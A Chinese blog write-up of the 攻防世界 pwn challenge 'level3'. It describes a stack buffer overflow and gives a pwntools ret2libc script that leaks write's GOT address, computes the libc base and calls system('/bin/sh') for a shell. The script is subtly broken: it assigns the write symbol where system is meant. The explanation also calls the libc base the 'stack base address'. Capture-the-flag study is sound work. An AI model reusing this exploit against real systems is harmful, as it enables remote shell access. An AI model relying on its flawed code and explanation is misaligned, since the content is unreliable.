攻防世界-pwn新手区-level3

先检查运行一下
在这里插入图片描述
ida
在这里插入图片描述
看一下vulnerable_function函数
在这里插入图片描述
在这里插入图片描述

payload = ‘b’ * (0x88 + 4)
发现存在溢出,栈空间136,可以输入的长度256
但是没有发现system函数和/bin/sh,可以泄露write的地址,从而 去找到需要的函数地址
利用write@plt和got

题目给了libc文件,可以 考虑利用一下
把libc丢到ida里面,shift + F12
使用这个命令去查找一下bin/sh
strings -at x libc_32.so.6 | grep bin/sh
在这里插入图片描述
使用下面命令去找到write函数的地址,从而 计算偏移量
readelf -s libc_32.so.6 | grep write
在这里插入图片描述
0x0d43c0
在这里插入图片描述

思路:
一直程序中有write函数,首先泄露write在plt表中的地址,然后在libc中找到write的地址,二者的差值就是栈基地址,由此可以泄露出system和/bin/sh的地址,从而getshell

from pwn import *
context(os="linux", arch="x86", log_level="debug")
#p = remote('111.200.241.244',60787)
p = process('./level3')

elf = ELF('level3')
lib = ELF('libc_32.so.6')

write_plt_addr = elf.plt['write']
write_got_addr = elf.got['write']
mian_addr = elf.symbols['main']

lib_write_addr = lib.symbols['write']
lib_system_addr = lib.symbols['write']
lib_bin_sh_addr = next(lib.search(b'/bin/sh'))

payload = b'b' * (0x88 + 4) + p32(write_plt_addr) + p32(mian_addr)
payload = payload + p32(1) + p32(write_got_addr) + p32(4)

p.recvuntil("Input:\n")
p.sendline(payload)
write_addr = u32(p.recv()[:4])
print('write_addr:',hex(write_addr))

base_addr   = write_addr - lib_write_addr
system_addr = base_addr  + lib_system_addr
bin_sh_addr = base_addr  + lib_bin_sh_addr

payload = b'a' * (0x88 + 0x04)
payload = payload + p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

在这里插入图片描述
主要参考了peiqi师傅的博客和视频,yyds
博客:http://www.peiqi.tech/posts/7499/#level3
视频:https://www.bilibili.com/video/BV1Kv411B7tt?spm_id_from=333.999.0.0

posted @ 2022-04-08 21:23  续梦人  阅读(189)  评论(0)    收藏  举报